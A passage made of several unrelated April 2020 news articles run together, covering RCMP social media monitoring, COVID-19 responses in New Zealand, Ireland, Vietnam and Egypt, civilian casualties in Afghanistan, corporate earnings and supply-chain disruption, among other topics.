blogs, chatrooms, message boards, social networks, and video and image-sharing websites. The tender suggests the tool have a broach reach, capable of turning up data from cyberspots such as dealshopping site Groupon and gaming platform Farmville. It would also delve into content found in less visible segments of the internet, the deep web and darknet, that can elude commonly used search engines. The new tool would complement the RCMPs existing Social Studio software, used in a social media monitoring project known as Wide Awake that is designed to zero in on threats by flagging key words. The RCMPs efforts to divine useful information from social media have sparked discussions with the federal privacy commissioner, said Vito Pilieci, a spokesman for the ombudsman. The commissioners office has highlighted the need for the RCMP to be transparent with the public about its social media monitoring activities and the importance of a privacy impact assessment, a formal analysis of the risks to personal information, Pilieci said. The RCMP has demonstrated the Social Studio software for the commissioners office, Duval said. The police force is finalizing a privacy impact assessment on the use of social media analysis software and, once completed, will post an executive summary on the RCMPs website, she added. By Jim Bronskill OAKBROOK TERRACE, Illinois, April 27, 2020 /PRNewswire/ -- SIRVA, Inc., a leading global relocation and moving company, today issued the following statement in response to a complaint filed by Realogy Holdings Corp. (NYSE: RLGY) under the previously announced purchase agreement for the acquisition of Realogy's Cartus Relocation Services business. Over the last several months, SIRVA has been working diligently to successfully complete the acquisition of Cartus Relocation Services. Over the weekend, we provided Realogy with information as to why we believe that certain closing conditions that they are obligated to meet under the purchase agreement have not been and cannot be satisfied. Today we received a complaint filed by Realogy under the purchase agreement. Unfortunately, this complaint addresses none of the issues raised by us. Instead, we believe the complaint constitutes a breach by Realogy of the purchase agreement. SIRVA strongly disagrees with the allegations in the complaint and will vigorously defend itself against all allegations made in the complaint and will continue to enforce all of its rights under the purchase agreement, including with respect to Realogy's breaches of the purchase agreement. SIRVA remains well-positioned to continue supporting our clients through our leading array of capabilities, technologies and services as our clients navigate this challenging environment. About SIRVA Worldwide Relocation & Moving SIRVA Worldwide Relocation and Moving is a global leader in moving and relocation services, offering solutions for mobility programs to companies of every size. With 75 owned locations and more than 1,000 franchised and agent locations in 177 countries, we offer unmatched global breadth supported by localized attention and innovative technology that strikes the right balance of self service and human support. From relocation and household goods to commercial moving and storage, our portfolio of Brands (SIRVA, Team Relocations, Allied, northAmerican, Allied Pickfords & SMARTBOX) provides the only integrated moving/relocation solution in the industry. By leveraging our global network, we deliver a superior experience that only a "one-stop shop" can provide. Media Contacts Mike DeGraff/Paige Barrett Sard Verbinnen & Co SIRVA-SVC@Sardverb.com 312-895-4700 Logo - https://mma.prnewswire.com/media/175515/sirva_inc_logo.jpg A clinic designed to vaccinate children under the age of two opened in Ottawa Tuesday to ensure babies get routine immunizations during the COVID-19 pandemic. The Canadian Paediatric Society has been calling on doctors to continue providing in-person inoculations for infants and toddlers as many family physicians switch to phone consultations in an effort to reduce the spread of the coronavirus. Anne Pham-Huy, a pediatric infectious disease physician at CHEO and chair of Immunize Canada, strongly encourages infant vaccinations during the pandemic because other illnesses could spread once physical distancing measures are relaxed. "It is imperative that the interruption of routine immunizations be minimized, particularly in young infants and vulnerable populations," she said in a news release from CHEO on Tuesday. The hospital, along with Ottawa Public Health and other health care providers "saw the need to provide another option and reduce barriers" to allow families to access primary immunizations for babies, the news release from CHEO said. "Access to [vaccinations] may be difficult for some families and community pediatricians fully support any effort to reduce the barriers in receiving these immunizations," said Kathy Keely, a community pediatrician in Ottawa. The Children's Immunization Clinic will provide a number of vaccines to babies and toddlers, including: The five-in-one vaccine (diphtheria, pertussis, tetanus, polio, Haemophilus influenzae type B) given at two, four, six and 18 months. Pneumococcal conjugate vaccine given at two, four and 12 months. Rotavirus vaccine given at two, four and six months. Meningococcal conjugate type C given at 12 months. Measles, mumps and rubella vaccine given at 12 months. Chicken pox vaccine given at 15 months. Families who need vaccinations should first contact their primary care provider, CHEO said. If an appointment cannot be arranged, families can call Ottawa Public Health at 613-580-6744 to book an appointment at the immunization clinic. While the clinic is only for children two and under, older children and adolescents including newcomers to Canada who did not receive their primary series of vaccines are also eligible to get vaccinations at the clinic, CHEO said. Amid the unprecedented outbreak of deadly coronavirus, New Zealand becomes one of the first countries outside China on April 27 to claim that it has eliminated the COVID-19 disease. At a news conference, New Zealand not only reported just two new cases of coronavirus with three probable cases but also eased restrictions from level four to level three. Even though New Zealand Prime Minister Jacinda Ardern said that though the country has currently eliminated, officials have warned that it does not mean that new COVID-19 cases have gone down to zero. We have achieved what we set out to under Alert Level 4 - a small number of cases, know where they are coming from and have the capacity for testing and contact tracing. Please maintain physical distancing at Alert Level 3, don't congregate outside cafes, carparks etc. Unite Against COVID-19 (@covid19nz) April 28, 2020 The latest update from the Director-General of Health: Today there are 2 new confirmed cases and 1 new probable case of COVID-19. The two confirmed cases can be traced to a known source, the probable case is still being investigated. pic.twitter.com/PWPxEnbFNZ Unite Against COVID-19 (@covid19nz) April 28, 2020 Read - New Zealand Prepares To Ease Coronavirus Lockdown As Cases Drop Marking New Zealands end to a strict lockdown, the country will resume some non-essential businesses, healthcare, and educational activities from April 28. Ardern noted that the New Zealand government is opening up the economy but they are not allowing people to resume their social lives. As of April 28, New Zealand has recorded a total of 1,472 cases of coronavirus cases with 19 fatalities and 239 active cases. According to reports, New Zealands Director-General of Health, Ashley Bloomfield, said that the fewer number of cases does give them confidence that the government has achieved the goal of elimination. Bloomfield added that in this case, elimination does not mean there are no new cases arising in the country, but instead it implies the officials are well aware of where the coronavirus infections are coming from. New Zealand PM claimed victory against the battle of curbing the widespread community transmission of deadly COVID-19 and added, we have won that battle. However, Ardern cautioned that the citizens must remain vigilant regarding the highly contagious disease. Read - Small Group Honours Australian, New Zealand Troops Global death toll of coronavirus While New Zealand is well on its way to life to normalcy, after originating from Chinas wet markets, the Coronavirus has now claimed 211,611 lives worldwide as of April 28. According to the tally by international news agency, the pandemic has now spread to 210 countries and has infected at least 3,064,902 people. Out of the total infections, 922,624 have been recovered but the easily spread virus is continuing to disrupt many lives. Major cities have been put under lockdown in almost all countries and the economy is struggling. Read - We Have Offers From Australia, New Zealand To Host Domestic Games: ECB Chief Read - Nurse Jenny From New Zealand Recounts Treating Boris Johnson High Civilian Casualties Continue Despite Afghan Deal By Ayesha Tanzeem April 27, 2020 Afghanistan's civilians continue to die in high numbers, more than 500 in the first quarter of 2020, despite the signing of a deal between the United States and Taliban to end hostilities, said a United Nations report released Monday. More than 150 children were killed during the first three months of the year and in addition to the deaths hundreds of people were wounded, according to the quarterly report tracking civilian casualties by the U.N. Assistance Mission in Afghanistan. "I call on all parties to seize the opportunity offered by the Secretary-General's call for a global ceasefire to focus collective efforts on fighting a common enemy, the COVID-19 pandemic," said Deborah Lyons, the Secretary-General's Special Representative for Afghanistan and head of UNAMA. While anti-government forces, including the Taliban and Islamic State group were blamed for 55% of the civilian deaths, pro-government forces were blamed for killing more children, mostly due to airstrikes and indirect fire during ground engagements. Of the 710 casualties282 killed and 428 woundedblamed on anti-government forces, the report attributed 39% to the Taliban, 13% to the local Islamic State chapter and the remainder to others. "The number of civilian deaths attributed to Anti-Government Elements particularly the Taliban increased by 22% in the first quarter of 2020 as compared to the same time period in 2019, mainly due to a disturbing increase in targeted killings and summary executions," the report said. In one such incident cited in the report, seven adult men, including a teacher, were abducted and summarily executed by the Taliban in Kushk district of Herat province. On the other side, the 412 civilian casualties included 198 killed and 214 wounded. Twenty-one percent of those, UNAMA said, were caused by Afghan security forces, 8% by international forces, and the rest by pro-government armed groups. UNAMA expressed particular concern on the increase in violence in March, calling it "all the more striking" since the month followed a week-long period of reduction in violence in Afghanistan at the end of February that culminated in the signing of the U.S.-Taliban deal. The deal had raised expectations that levels of violence in Afghanistan would stay low. The Taliban have rejected the report, saying that its own commission for the prevention of civilian casualties has managed to reduce the numbers from their side to almost zero. "The UNAMA report has attributed some incidents to the Mujahedeen of Islamic Emirate which have either been caused by old landmines or due to personal feuds," Taliban spokesman Zabiullah Mujahid said in a statement sent to journalists. The insurgent group accused UNAMA of concealing casualties caused by the American and Afghan forces in airstrikes and other attacks. Apart from the casualties, the report also expressed concern that healthcare workers continued to face the brunt of violence, either through indirect fire from nearby firefights, or, in one incident, abduction of five healthcare workers and their driver by Taliban. They were released after a two-day mediation by local elders. "UNAMA calls on all parties to immediately cease fighting in the vicinity of healthcare facilities as well as the use of indirect fire (mortars, rockets, grenades) in populated areas that could impact healthcare facilities, medical transports, and patients' access to health care," the report said. The level of civilian casualties remains low compared to the same quarter last year, a 29% decrease and the lowest figure for a first quarter since 2012. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address 20 oil experts arriving in Saigon to be quarantined in hotels Twenty foreign oil industry experts arrive in Saigon Tuesday and will be quarantined in hotels in Can Gio District for 14 days. The city Department of Health, at a meeting with the Steering Committee for the Prevention and Control of Covid-19 on Monday, said they would fly into Tan Son Nhat Airport by private jet. Their nationalities have not been disclosed. Nguyen Tan Binh, director of the department, said the city is expected to receive more foreign experts this month. The southern city has had 54 Covid-19 cases so far, three of them active. Earlier this month around 1,000 foreign experts, mostly Chinese and South Korean, arrived in northern and north central Vietnam and have been quarantined. Many of them work in electronics and other manufacturing industries. On March 22 Vietnam banned entry for foreign nationals, including those of Vietnamese origin and their family members. Only Vietnamese nationals and foreigners with diplomatic and official passports, and certain business managers, experts and high-skilled workers are allowed to enter the country now and are quarantined. Over 20,000 foreigners have not been able to enter Vietnam for work, according to data from the Ministry of Labor, Invalids and Social Affairs. The country has had 270 Covid-19 cases, of which 48 are active, including eight cases of relapse. The last recorded cases were four days ago, and there has been no community transmission since April 16. The pandemic has spread to 210 countries and territories claiming more than 211,600 lives. (Bloomberg) -- Xerox Holdings Corp., which last month dropped a hostile takeover bid for larger rival HP Inc., withdrew its annual revenue forecast, signaling uncertainty over how high a toll the economic slowdown from the Covid-19 pandemic will take on the copy-machine maker. Revenue reached $1.9 billion over the first quarter, a 14% drop from a year earlier, the Norwalk, Connecticut-based company said Tuesday in a statement. Pretax losses came in at $5 million. Xerox said in January it expected to generate adjusted profit of as much as $3.70 a share on revenue of $8.63 billion in fiscal 2020. Xerox is reporting results for the first time since calling off its effort to acquire HP because of the economic uncertainty caused by the virus. Now Chief Executive Officer John Visentin must shepherd the pioneer in photocopying technology through the downturn in the face of falling demand for printed documents and eight years of declining sales. Businesses, preserving cash to weather a possible recession, are also postponing information technology projects, representing a threat to Xerox. While this isnt the year we planned for, its the one we have, Visentin said on a conference call with analysts. Im doing everything to make sure that Xerox and its team members get out of this in a position of strength. Xeroxs shares rose 2% in trading in New York. The stock has plunged 50% this year. The hardware company warned that, because of the lock down measures countries are implementing, the hit on its business could persist. Xerox expects the greatest impact to its revenues from business closures to be during the second quarter, with revenue returning closer to expected levels nearer the end of the year. Xerox generated $325 million in equipment sales of hardware in the first quarter, a decrease of 27% from a year earlier. The company recognized $1.5 billion in post-sale revenue during the period, which includes ink supplies, maintenance and other managed services. Story continues Xerox executives said the company is cutting non-essential expenses to preserve cash. The company expects to achieve gross savings of $450 million and return 50% of free cash flow to investors this year. The hardware company is seeing the most demand for machines from U.S. state and federal governments and healthcare clients, Visentin said. Xerox is participating in European government programs that help pay the salaries of its employees, and has encouraged U.S. clients to apply for government subsidy programs. For customers that are struggling, Xerox is trying to find flexible, individual solutions, including letting some businesses defer their monthly payments for a later date. (Updates with CEO quote in fifth paragraph and additional details throughout.) For more articles like this, please visit us at bloomberg.com Subscribe now to stay ahead with the most trusted business news source. 2020 Bloomberg L.P. Bradford White Corp. is an American company that prides itself in making water heaters at plants in places like Niles, Michigan, and Rochester, New Hampshire. Theyve even been deemed essential in fighting COVID-19, deployed in New Yorks Javits Center-turned hospital and Chicagos McCormick Place hospital. But now, Bradford White is maybe weeks away from closing its factories, a victim of a clash between the U.S. and Mexico on whats considered an essential business or service. None of its popular heaters can be assembled in America without importing critical parts from Mexico where the government has shut down almost all manufacturing. Those parts, including gas controls and electric elements costing as little as a few dollars, cant be had. If there were U.S.-produced alternatives, that would certainly be our preference, said Carl Pinto, the firms senior director of communications. But unfortunately there are several components that are critical to our products which are only produced in Mexican factories. As the U.S. government talks of gradually reopening the economy soon, Bradford White and other manufacturers making essential goods are trying to grapple with a hodgepodge of rules in North America that are causing chaos in their supply chains. At issue is the divergence in what qualifies as an essential business including their suppliers in all three North American countries. Guidance from the U.S. Department of Homeland Security explicitly states that the entire supply chain for such companies is deemed essential. Canadas rules closely resemble the U.S.s. Thats not the case for Mexico. Strict rules The Mexican government on March 30 issued a strict shelter-in-place order that allowed for almost no exemptions, not even for businesses that would be considered essential to keep the public safe and healthy. U.S. companies operating in Mexico, as well as their Mexican suppliers, had to shut down, in industries ranging from aerospace to health care and paper products. The new rules triggered a raft of complaints from business representatives on both sides of the border. They said that President Andres Manuel Lopez Obrador, slow to respond to the virus outbreak, ended up applying a highly restrictive blanket reaction to make up for time lost. What were pushing for is that if we dont mirror the U.S. guidelines, we should apply very similar ones not just to address the health crisis but also to help us come out of the economic crisis, said Sergio Gomez Lora, U.S. representative of the Mexican Business Coordinating Council, one of the countrys biggest business lobbying groups. The AMLO governments reluctance to allow plants to reopen stems in part from reports that Mexican workers died in factories that were not adhering to the stay-at-home order. But what complicates the matter is that theres an inconsistency even within Mexico and sometimes within a Mexican state on how the governments lockdown order is enforced, business representatives say. Standex Electronics Inc., headquartered in Fairfield, Ohio, saw that up close. It designs parts for medical equipment such as CT scanners and x-ray machines, as well as components used in the utility grid and the defence industry. At its plant in the Mexican state of Sonora, smack on the Arizona border, Standex makes a coil for Canadian-based Creation Technologies, which, in turn, powers a blood analyzer made by Instrument Technologies Inc., based in Westfield, Massachusetts. Earlier this month, Creation Technologies ran out of the custom-designed coils. It pleaded with the AMLO government to allow Standex to reopen the plant in Agua Prieta so it wouldnt have to shut down production. Roughly 20 other Standex customers joined in, bombarding Mexican officials with letters calling its products essential, all to no avail, said Tom Gould, Standexs vice president of sales for North America. We now have enough letters from customers that we could paper the walls, he said. Finally, after three weeks of pleading, Standex Electronics last week got word that it can reopen its Sonora facility at roughly one-third of its capacity and with strict social-distancing rules in place. Getting that approval, though, was as much luck as persistence. The plant manager happened to run into a Mexican official who was receptive to the companys request after reading a letter from a customer that had been translated to Spanish. There does appear to be a random element here, Gould said ruefully. Not happy Bradford White and many other companies remain in limbo. They and their trade associations have been lobbying both the Trump and AMLO administrations. The Mexican foreign ministry has been working with the U.S. Commerce Department to try to find a solution, according to a person familiar with the efforts. When asked about co-ordinating with his North American partners to avoid disruptions, Trump last week said, If a supply chain based in Mexico or Canada interrupts with our making a big product and an important product, or even a military product, were not going to be happy, let me tell you that. For most companies, Trumps ultimate solution that companies move more production to the U.S. isnt feasible or even realistic. But Mexicos reluctance to co-ordinate with the U.S. could end up pushing more American companies to do just that if the conflict drags on, business leaders say. Businesses want stability and they want certainty, more than ever, said Kevin Messner, senior vice president of policy and government relations at the Association of Home Appliance Manufacturers. Thats something Bradford White doesnt have at the moment. Executives are working in a frenzy as they try to figure out from long-term suppliers when a loosening in Mexico might occur, Pinto said. This is not something that is probably in a lot of peoples business continuation plan, he said. Photo credit: Paramount From Men's Health During one of the most talked about incidents of the early 1990s, the FBI and ATF engaged in a 51-day standoff with the Branch Davidians, a religious group led by David Koresh that resided at the Mount Carmel compound. And the result, sadly, was a catastrophic fire that killed 76 people, including 25 children. The events play out in Waco, the 2018 miniseries currently streaming on Netflix, leaving many viewers disheartened and curious to learn more about the whole story. Here are a few details into the events that led up to a tragic ending. The FBI initially targeted the Branch Davidians for suspicion of illegal weapons At some point before the siege, the FBI and ATF were tipped off and led to believe the Branch Davidians illegally stockpiled weapons, a moment depicted in the first episode of the miniseries. According to Time , the government believed that the group had nearly 250 weapons, ranging from semi-automatic rifles to hundreds of grenades. The ATF was adamant at the time that they wanted to take Koresh into custody and they wanted to search the compound for illegal weapons. The FBI and ATF raided Mount Carmel in February 1993, leading to hostage negotiations On February 28, the ATF failed to conduct a raid of the compound. The result was a shootout that killed ten people (four were federal agents and six were Branch Davidians) and wounded Koresh. Thus began a 51-day standoff between the two groups, with the FBI coming in to replace the ATF and assist in negotiations. The bureau tried different tactics to get the religious group to surrender, including playing loud music on speakers to prevent their sleep. At the same time, the FBI, led by Gary Noesner, engaged in 60 hours of direct negotiation with Koresh to try and walk onto the grounds. The standoff concluded with a tragic fire Photo credit: Paramount On April 19, the FBI finally raided the compound, backed by armored tanks. They used tear gas (approved by then-Attorney General Janet Reno ) and threw them in holes made in the walls of the building. Shortly after, a fire broke out, setting Mount Carmel ablaze. Out of the 85 Branch Davidians living on the grounds, 76including Koresh and 25 childrenperished, with the remainder surviving the tragedy. Story continues Since the incident, there has been much discussion over which side started the fire. Then-President Bill Clinton stated that he didnt think that the government was responsible for the fire; meanwhile, many believe that the Branch Davidians started it as a means of mass suicide . You Might Also Like Dr. Tony Holohan, Dr. Ronan Glynn, Dr. Colm Henry, and Dr. Cillian De Gascun, pictured this evening at apress conference at the Department of Health. Picture Colin Keegan, Collins Dublin The National Public Health Emergency Team (NPHET) has said that it is not in a position to recommend the easing of lockdown restrictions. Dr Tony Holohan said that while compliance rates with restrictions have been high, a set of criteria which would see restrictions eased has not been met. If the assessment was made in any of the recent days that this question has come up in the last week or so, that the requirements if you like or the criteria that we see as being important to enable us to make a recommendation that we should reduce some of the restrictions in place have yet to be satisfied, he said at the Department of Health briefing this evening. If those assessments were made on any of the days, including today, we wouldnt be in a position to recommend a progression to any of these an easing of restrictions, he said. He said that Irelands levels in relation to numbers in ICU and new positive tests for the virus show that were not at a low enough level. Read More The levels that were at, compared to other countries that are in a position to consider easing restrictions, were just not quite as far as wed like to be. Were not down to a low enough level, yet, he said. Dr Holohan added that we still have a way to go and that incidence of the virus has been reduced. We hope to see further continued progress but we still have a way to go on a number of those important indicators. Weve had a very, very significant reduction in the incidence of the disease and the risk of this disease being transmitted in the community, he explained. He raised his concerns about high numbers of people testing positive in nursing homes and in the population in general. We still have high numbers being diagnosed from the nursing home sector and the population generally, he said. We have 130-140 in intensive care at this moment in time. The NPHET will make an assessment of the situation on Friday. It comes as Taoiseach Leo Varadkar has come under pressure from his cabinet ministers to begin lifting Covid-19 restrictions after the bank holiday weekend. During a Cabinet meeting today several ministers insisted the Government should begin the process of easing restrictions to give the public hope after weeks of lockdown. However, the Taoiseach and Health Minister Simon Harris did not give their colleagues any indication of their exit strategy ahead of announcement due on Friday. It was all very depressing and neither of them gave us much hope, one minister said. Minister for Finance Paschal Donohoe was among those saying the social distancing rules should be eased, especially for those over 70 who have been asked to cocoon. Mr Donohoe also appeared to argue for some relaxation of the current school closures. He pointed out that young children, particularly those in primary school, receive support and help in classrooms and have now not been at school for the last seven weeks. A Government source said Mr Donohoe argued for some flexibility with the current measures, saying that ministers need to show the country some hope too - otherwise people will start losing faith. He is also believed to have said a strong government is needed to make tough public health and economic decisions during the coronavirus emergency. Rural Affairs Minister Michael Ring insisted that businesses need to be given hope that they will soon be able to reopen. Mr Ring said a lot small businesses in rural Ireland will close permanently if they were not given a clear plan for how social distancing rules will be eased in the coming weeks. Communications Minister Richard Bruton said the Covid crisis was now more than just a health issues and the economic side of the emergency also needed to be addressed. Disability Minister Finian McGrath said a plan needed to be in place by Friday to give people and idea of the lockdown exit strategy. Mr McGrath also said restrictions should be eased for older people and suggested some construction workers should be allowed to return to work. Agriculture Minister Michael Creed and Housing Minister Eoghan Murphy were described by colleagues as being on the liberal side in relation to lifting restrictions. Mr Creed argued that farmers can continue to be safe in carrying out their work as an essential service. However, Transport Minister Shane Ross strongly argued in favour of maintaining stringent public health restrictions. He is taking it very seriously, said a Cabinet source. Mr Ross appeared via videolink as he is cocooning at home. Justice Minister Charlie Flanagan repeatedly urged caution at the Cabinet meeting and has told colleagues that if decisions were made today there would be no lifting of any restrictions, according to a Cabinet source. Health Minister Simon Harris also argued a hardline on the restrictions. Mr Varadkar did not offer his views, but will to return to Cabinet on Friday with recommendations from the National Public Health Emergency Team on what approach to take after the current measures expire on May 5 and a plan on the phased lifting of the lockdown over several weeks and months. Theres a very nuanced debate going on within the government - not just at Cabinet - as to how we approach the 5th, said a third Cabinet source after the meeting. The what, how and when, if it all. Another minister said the Cabinet meeting set up as a debate so the Taoiseach wouldnt have to tells us what is really going to happen. Harris was also not very forthcoming with information and I would not be expecting much change next week based that, the minister added. There was also a debate on the public wearing face masks when leaving their home and ministers believed a decision may be announced shortly on the issue. Defence Minister Paul Kehoe said the Government should continue to listen to the public health advice and warned of the disastrous impact of a second wave of the virus. Mr Kehoe noted that the cocooning conditions are difficult for older people but said the regulations are in place for their best interests. He also urged the Taoiseach to explore the possibility of allowing some non-contact sports, such as horse racing, to return. Dr. Walter Grunden to assist U.S. Secretary of the Interior in preparation of national historic landmark theme study By Bob Cunningham 18 It is generally accepted that the Cold War lasted for about a half century after the end of World War II, but it isnt that simple according to Dr. Walter Grunden, associate professor of history at Bowling Green State University. As a historian, it sure doesnt look like it ended to me, Grunden said. People might want to think its over, but we cant escape the Cold War. Its still very much with us. Before COVID-19 pandemic hit, Cold War countries such as Russia, China and North Korea were a constant feature in the nightly news. Everything was Russia, Russia, Russia, Grunden said. People still have a concern about Russia and it is, in part, because of the carryover of that Cold War sentiment. They had been the enemy for so long that many people think its impossible for us to be friends. Even though we want to say the Cold War is over, maybe it really isnt at least not everywhere. Grunden recently was appointed to the Cold War Advisory Committee, which assists the U.S. Secretary of the Interior in identifying sites and resources to be designated national historic landmarks significant to the Cold War, as well as preparing a theme study on Cold War landmarks. Grunden, who has the status of a special government employee, participated in his first committee meeting at the beginning of April via conference call. Walt will bring the polished and trained eye of a scholar to the Committee, while delivering national prestige to the University, said Dr. Thomas Snitch 75, 15 (Hon.), director of federal relations at BGSU. I was absolutely overjoyed when he decided to apply because he is a meticulous researcher and he really knows how to write. I immediately called a friend at the White House and said, You seriously need Walt Grunden. It is a big deal for BGSU, and we should actively look for appointments to other national commissions for members of our distinguished faculty. Grunden said he is honored by the appointment and appreciates that Snitch encouraged him to apply for the position. Its nice to be recognized in this way and to have your work validated at a certain level and your expertise recognized, Grunden said. Im especially happy to be able to do that here at Bowling Green. Sometimes, I feel like we have to work twice as hard to be recognized just as much as universities like Harvard or Ohio State. There are so many people on this campus who are really top-notch scholars, just real A-listers. The faculty here could be teaching or working anywhere and they produce great scholarship. Its great that someone can represent Bowling Green at that level, and Im proud to do it. When it comes to Grundens expertise on the Cold War, he is more adept when it comes to China and North Korea. Im less a of a Soviet Union expert in that regard, he said. When people think of the Cold War, they typically think of the U.S. and the Soviet Union and thats true, but we cant forget that China was part of the Cold War as well. So, in 89, when the Berlin Wall fell and people were celebrating that the Cold War was over, as someone who is more of an East Asian scholar, I said, What about China, North Korea or even Cuba? Primarily, I think the academic world and most of the modern world focus on our countrys competition with the Soviet Union as the Cold War. Thats not wrong or unhistorical, but theres a lot more to the Cold War than just the relationship of the U.S. with the Soviet Union. Those relationships with China, North Korea and Cuba are still ongoing today and they are critical to U.S. diplomacy. The origins of North Koreas nuclear weapons program are tied to Cold War imperatives of the Soviet Union and Chinas interests as well, Grunden said. The formation of the states of North and South Korea have everything to do with the Cold War. In addition to being an authority on World War II and the Cold War, Grunden is an expert on weapons of mass destruction, including nuclear weapons and chemical and biological weapons. The Cold War always has been an area of interest for Grunden, even though he made his professional mark in the era of World War II earlier in his academic career. I sort of got pegged as a military historian and a historian of World War II, he said. A lot of the classes that I teach and a lot of the other academic interests that I have are well after World War II, so I have been trying to focus more on the Cold War years and even more contemporary history as well. Sometimes, once youve been identified as having expertise in a certain area, it can be hard to move beyond that, but I think being appointed to the Committee can help me do just that. People will see that I have expertise well beyond World War II. My current interests are really more about the Cold War on up to present-day Asia. Grundens appointment also aligns with the Universitys mission of contributing to the public good. My involvement with the advisory board would certainly fall under service, he said. Most faculty members have three areas of employment on which they are evaluated: teaching, scholarship and service. But, for me, this appointment goes well beyond the expectation of academic service; it is a public service and a way that as a historian I can engage the public and national interests well beyond the borders of Bowling Green and Ohio. There definitely is an academic service component to it, but its also an opportunity for me to serve the nation in some way, and Im proud to be able to do that. Grunden started the year as a Fulbright scholar in South Korea, but his scholarship was cut short due to the COVID-19 pandemic. He was teaching a course on comparative science policy, focusing on nuclear issues, before he and his wife had to flee the country. It was a real disappointment to have to leave like that, he said. There were so many meetings, events and programs that were canceled as a result of the pandemic. Once Fulbright canceled the program worldwide for the year, however, my research agenda was no longer viable. Im working with colleagues abroad to put together a comparative study of national public policy responses to the pandemic, so maybe some good can come of it after all. BGSUs Department of History in the College of Arts and Sciences has had more public history offerings in the past 10 years or so, Grunden said. Ive always been interested in public history and the Cold War Advisory Committee is an aspect of public history where I can apply some of my expertise, he said. With our departments focus on public history, we can prepare our graduates for careers in museology and any other areas where public history can be utilized such as in the National Parks Service, for example. When you think of an advanced degree in history, we want people to understand there are many types of employment opportunities available outside of academia. Public history can contribute immensely to the public good. Paediatricians have been advised to be on the look-out for a severe inflammatory response that has developed in some children who contracted Covid-19. Italian and British medical experts are investigating a possible link between the coronavirus pandemic and rare clusters of severe inflammatory disease among children. The children are arriving in hospital with high fevers, red eyes and, in many cases, needing intensive care. The British Health Secretary, Matt Hancock, said he was very worried about the increase in the number of children affected by the inflammatory syndrome. The symptoms appear similar to that of severe Covid-19 with children complaining of abdominal pain, vomiting and diarrhoea. Mr Hancock said some of the children who died did not have underlying health conditions. Consultant in infectious diseases at Our Ladys Childrens Hospital in Crumlin, Dr Patrick Gavin, said about 20 children with confirmed coronavirus in Ireland had been admitted to hospital; two were admitted to intensive care. There had been no paediatric deaths from coronavirus and for the vast majority of infected children it was a relatively mild illness, said Dr Gavin, who was speaking on RTE radio. He said it was difficult to know whether it was an epiphenomenon that was happening at the same time as Covid-19. We have seen late presentation of certain emergencies in terms of diabetic ketocidosis and appendicitis in the setting of Covid because people are reluctant to see their GP or attend the emergency room, he said. Dr Gavin urged parents of children with unusual signs and symptoms to seek medical attention immediately. Consultant paediatrician and infectious diseases specialist at Our Ladys Childrens Hospital, Prof. Karina Butler, said the possible Covid-related syndrome was very like Kawasaki syndrome, or what they called toxic shock syndrome. And we have alerted all paediatricians to be on the look-out for that because some of those have developed in children who happen to have Covid," said Prof. Butler. BRUSSELS/FRANKFURT/PARIS (dpa-AFX) - U.K. stocks rose on Tuesday as hopes of easing lockdown restrictions in many countries helped offset weak earnings updates from the likes of HSBC and BP Plc. The benchmark FTSE 100 rose by 53 points, or 0.91 percent, to 5,899 after rising 1.6 percent in the previous session. Sainsbury dropped 1.3 percent, Morrisons edged down slightly and Tesco shed around 0.3 percent after market researcher Kantar said that British grocery sales grew an annual 5.5 percent in the four weeks to April 19. That was significantly lower than March's record growth of 20.6 percent. HSBC Holdings gave up half a percent after it posted a 48 percent year-over-year plunge in pre-tax profit for the first quarter of 2020. BP Plc gained half a percent. The oil and gas company reported a first quarter loss to shareholders of $4.365 billion, compared to profit of $2.934 billion, prior year. Travis Perkins, a distributor of building materials, rose over 3 percent. The company reported that its total first-quarter sales declined 4.6 percent and like-for-like sales fell 3.8 percent. Games Workshop Group shares surged 11 percent. The manufacturer of miniature war games said its stores would continue to re-open across the world as local restrictions are lifted and all required health and safety measures are met. The Group also agreed in principle with its bank, Santander, to secure an overdraft facility of 25 million pounds for a six-month period with a potential six-month extension, if required. Weir Group gained nearly 2 percent. In its interim management statement, the company said it is benefiting from resilience of aftermarket-focused mining businesses, which represents 80 percent of total Group orders. Copyright RTT News/dpa-AFX Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann. The Negelah quarantine hospital announced on Monday it is still operating normally, denying reports suggesting that the hospital has been isolated or that there is a coronavirus outbreak among the medical team following the death of two staff members this week. The hospital continues to operate as a quarantine hospital," Deputy Manager of the Negelah hospital Mohamed Taleb told Ahram Online on Monday. We will also receive a kidney patient from Alamein city for dialysis, as there is no single case detected in our kidney unit. A senior nurse at the hospital, Sayed Mohamed El-Mohsenawy, 47, died on Monday from coronavirus complications. Taleb told Ahram Online that El-Mohsenawy had diabetes which made him prone to coronavirus complications. He praised El-Mohsenawy, saying he insisted on being on the front lines of the coronavirus battle since day one. Taleb explained that the late nurse contracted the virus after being in contact with a positive case. He asserted that infections among the hospital's team were the result of human error while treating positive cases. On Saturday, the hospital announced the death of one of its workers, inventory keeper Nagi Saleh El-Garary, 51, who according to Taleb suffered from high blood pressure before contracting the virus. Only a few members of our team have contracted the virus, and that is normal when dealing with a highly infectious disease like coronavirus, Taleb added. Many infected team members have recovered and will be returning to work shortly, he added. Taleb refused to disclose the number of positive cases in the hospital or among the team saying that he is not authorised to do so. He stressed that the numbers circulating in the media are only speculations. The Negelah hospital in the Mediterranean governorate of Marsa Matrouh was the first hospital appropriated for isolating coronavirus cases in Egypt. The hospital was used for quarantining Egyptians repatriated from the Chinese city of Wuhan, the epicentre of the coronavirus, in early February. Egypts first confirmed coronavirus case, a chinese national, was also admitted to the Negelah hospital in February and later recovered and was discharged. On Monday, Egypt's health ministry reported 248 new coronavirus cases, a new daily record since the initial discovery of the virus in the country in mid-February, bringing the total number of infections to 4,782 nationwide. Mondays number was 16 cases higher than the previous highest single-day rise reported on Friday. Twenty fatalities were also recorded on Monday, which is also the highest single-day coronavirus death toll, bringing the total number of coronavirus fatalities in the country to 337. Search Keywords: Short link: Arion Bank will publish its financial results for the first quarter of 2020 on Wednesday 6 May, after markets have closed. Investor Webcast in English 7 May at 10:30 CEST (8:30 GMT) Arion Bank will be hosting a webcast on Thursday 7 May at 10:30 CEST (8:30 GMT) where CEO Benedikt Gislason, CFO Stefan Petursson, Deputy CFO Eggert Teitsson and Head of Investor Relations 